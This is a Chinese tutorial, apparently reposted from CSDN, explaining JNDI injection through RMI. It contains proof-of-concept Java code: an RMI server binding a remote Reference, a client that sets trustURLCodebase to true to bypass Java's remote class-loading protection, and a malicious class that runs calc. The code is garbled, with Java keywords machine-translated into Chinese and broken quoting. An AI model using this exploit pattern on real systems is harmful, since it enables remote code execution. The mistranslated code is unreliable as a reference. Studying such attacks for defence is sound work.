什么是JNDI?
网上有JNDI的定义,但是看完还是不太明白。在我的简单理解中,JNDI就像一个用于调用其他应用程序(如RMI、LDAP、DNS等)的接口。但我还是不明白。难道不能直接实现这些程序的功能吗?为什么需要这样的接口?如果有人知道,请告诉我。
JNDI注入如何实现?
首先,您需要了解JNDI 中的两个重要类。
InitialContext类的常用方法:
//个人理解InitialContext类和RMI服务的注册中心类的作用类似,用于命名和绑定对象。
bind(Name name, Object obj) 将名称绑定到对象
list(String name) 枚举绑定到命名上下文的名称以及绑定到它们的对象的类名
Lookup(String name) 获取命名对象
rebind(String name, Object obj) 将名称绑定到对象,覆盖任何现有绑定。
unbind(String name) 解除指定对象的绑定。
如何构建参考类:
//我个人的理解是Reference是通过工厂(工厂类)实例化一个类,factoryLocation代表获取工厂的地址。
//如果Reference类指定factoryLocation是外部地址,jndi会从远程位置下载关联的类文件并在本地反序列化。如果不指定工厂,则直接根据类名实例化该类。如果本地类不可用,则会报错。
Reference(String className, String Factory, String FactoryLocation) 使用类名className 以及对象工厂的类名和位置构造对象的新引用。
JNDI+RMI代码示例
RMI服务器代码:
公共类服务器{
public static void main(String[] args) 抛出RemoteException、NamingException、AlreadyBoundException {
字符串URL=\’http://127.0.0.1:8080/\’;
Registryregistry=LocateRegistry.createRegistry(1099);//在端口1099上启动RMI注册中心。
Reference Reference=new Reference(\’className\’, \’class Factory\’, url);//实例化引用对象。
ReferenceWrapperreferenceWrapper=new ReferenceWrapper(reference);//ReferenceWrapper封装了一个引用对象,实现了一个远程接口,可以远程调用。
registry.bind(\’obj\’,referenceWrapper);//给注册中心绑定一个名为obj的对象
}
}
RMI客户端代码:
公共类客户端{
公共静态无效主(字符串[] args)抛出NamingException {
字符串URL=\’rmi://localhost:1099/obj\’;
System.setProperty(\’com.sun.jndi.rmi.object.trustURLCodebase\’, \’true\’);//绕过受信任的远程恶意类加载,因为较高版本的Java禁止您需要添加此行。
InitialContext 初始上下文=new InitialContext();
初始上下文.lookup(url);
}
}
恶意文件:
公开课测试{
公共静态无效主(字符串[] args)抛出IOException {
Runtime.getRuntime().exec(\’calc\’);
}
}
编译这三个文件并将恶意类文件挂载到Web服务器上。运行客户端会实现以下流程:客户端向服务器请求对象obj。 obj 是一个引用对象,引用对象指定一个特定的工厂。对于类,当客户端执行lookup()操作时,工厂类被动态加载并实例化以执行远程代码攻击。
JNDI+LDAP(类似原理)
#以上有关JNDI注入的相关内容来自网络,仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91249.html